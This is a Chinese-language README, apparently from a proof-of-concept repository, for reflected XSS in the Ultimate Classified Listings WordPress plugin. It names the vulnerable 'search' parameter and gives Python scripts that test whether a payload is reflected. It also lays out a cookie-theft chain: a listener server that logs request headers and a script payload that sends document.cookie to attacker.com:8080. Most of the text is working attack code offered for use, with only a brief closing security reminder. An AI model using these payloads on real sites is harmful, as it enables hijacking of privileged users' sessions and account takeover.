此仓库包含针对在不同 WordPress 插件中发现的各种漏洞的概念验证 (PoC) 脚本。这些脚本展示了攻击者如何利用这些漏洞执行恶意操作。
Ultimate Classified Listings 插件中的反射型跨站脚本 (XSS)
利用 XSS 窃取 Cookie
此 PoC 演示如何利用 Ultimate Classified Listings 插件中的反射型 XSS 漏洞。
识别易受攻击的参数:
http://example.com/classifieds 中的 search。构造恶意 URL:
http://example.com/classifieds?search=<script>alert('XSS')</script>
运行 PoC 脚本:
xss_poc.py 并运行它。import requests
# Configuration
target_url = "http://example.com/classifieds" # Change this to the target site's URL
payload = "<script>alert('XSS')</script>" # XSS payload
def trigger_xss():
# Construct the malicious URL
malicious_url = f"{target_url}?search={payload}"
# Send a GET request to the malicious URL
response = requests.get(malicious_url)
# Check if the payload is reflected in the response
if payload in response.text:
print("[+] XSS payload reflected in the response.")
print("[+] Malicious URL:", malicious_url)
else:
print("[-] XSS payload not reflected in the response.")
if __name__ == "__main__":
trigger_xss()
此 PoC 演示攻击者如何利用反射型 XSS 漏洞窃取高权限用户的 Cookie。
设置恶意服务器:
malicious_server.py 并运行它,以启动一个记录传入请求(包括 Cookie)的服务器。from http.server import BaseHTTPRequestHandler, HTTPServer
import logging
class RequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
logging.info(f"Received request: {self.headers}")
self.send_response(200)
self.end_headers()
def run(server_class=HTTPServer, handler_class=RequestHandler, port=8080):
logging.basicConfig(filename='server.log', level=logging.INFO)
server_address = ('', port)
httpd = server_class(server_address, handler_class)
logging.info(f'Starting server on port {port}...')
httpd.serve_forever()
if __name__ == "__main__":
run()
构造窃取 Cookie 的负载:
http://example.com/classifieds?search=<script>new Image().src='http://attacker.com:8080?cookie='+document.cookie;</script>
运行 PoC 脚本:
steal_cookies_poc.py 并运行它。import requests
# Configuration
target_url = "http://example.com/classifieds" # Change this to the target site's URL
attacker_server = "http://attacker.com:8080" # Change this to your malicious server's URL
payload = f"<script>new Image().src='{attacker_server}?cookie='+document.cookie;</script>"
def trigger_xss():
# Construct the malicious URL
malicious_url = f"{target_url}?search={payload}"
# Send a GET request to the malicious URL
response = requests.get(malicious_url)
# Check if the payload is reflected in the response
if payload in response.text:
print("[+] XSS payload reflected in the response.")
print("[+] Malicious URL:", malicious_url)
else:
print("[-] XSS payload not reflected in the response.")
if __name__ == "__main__":
trigger_xss()
这些 PoC 演示了攻击者如何利用 WordPress 插件中的漏洞执行恶意操作。始终保持软件更新并遵循安全最佳实践,以防止此类漏洞。